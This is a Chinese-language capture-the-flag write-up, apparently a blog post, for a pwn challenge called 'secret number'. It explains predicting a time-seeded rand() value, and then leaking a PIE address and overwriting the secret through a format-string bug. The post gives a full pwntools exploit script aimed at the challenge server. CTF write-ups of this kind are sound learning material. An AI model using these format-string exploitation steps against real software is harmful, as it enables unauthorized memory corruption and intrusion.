secert number--NEWCTF

secert number–NEWCTF

保护全开,主要利用格式化字符串。
在这里插入图片描述

用时间戳做随机数种子,然后取随机数,要求猜这个随机数。

本地打法:

dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed =time.time()
a=int(seed)
dll.srand(a)
secert=dll.rand()

sl(b'0')
print(hex(secert))
rl()
sl(b'0')
#gdb.attach(p)
#pause(1)

rl()
rl()
sl(str(secert))

可能是远程机子的时间戳不同,所以远程打不通。

远程打法:

这里有个循环,可以用格式化字符串先泄露出main函数的地址,然后算出pie的偏移,再根据secert在bss的地址,通过输入,利用格字进行修改secert的值。

注意:当遇到\x00会停止printf。

rl()
rl()
sl(b'1')

sd(b'%17$p')
rl()
rl()
main_addr = int(rc(14),16)

print(hex(main_addr))
base_addr = main_addr-0x12f5
rl()

secert_addr = base_addr + 0x404c
sl(b'1')
payload = b'%9$naaaa' +p64(secert_addr)
#gdb.attach(p)

sd(payload)
rl()
sl(b'0')
rl()
rl()
rl()
sl(b'0')

总结:回顾了一下对随机数的调用,以及好好看代码,注意有个循环(刚开始默认为了一次。。。)。

总exp:

from pwn import*
from ctypes import*
context(log_level='debug',arch='amd64',os='linux')
#p=process('./secretnumber')
p=remote('node4.buuoj.cn',26534)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()
'''
dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
seed =time.time()
a=int(seed)
dll.srand(a)
secert=dll.rand()

sl(b'0')
print(hex(secert))
rl()
sl(b'0')
#gdb.attach(p)
#pause(1)

rl()
rl()
sl(str(secert))
#sl(str(secert))
'''
rl()
rl()
sl(b'1')

sd(b'%17$p')
rl()
rl()
main_addr = int(rc(14),16)

print(hex(main_addr))
base_addr = main_addr-0x12f5
rl()

secert_addr = base_addr + 0x404c
sl(b'1')
payload = b'%9$naaaa' +p64(secert_addr)
#gdb.attach(p)

sd(payload)
rl()
sl(b'0')
rl()
rl()
rl()
sl(b'0')

p.interactive()


  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值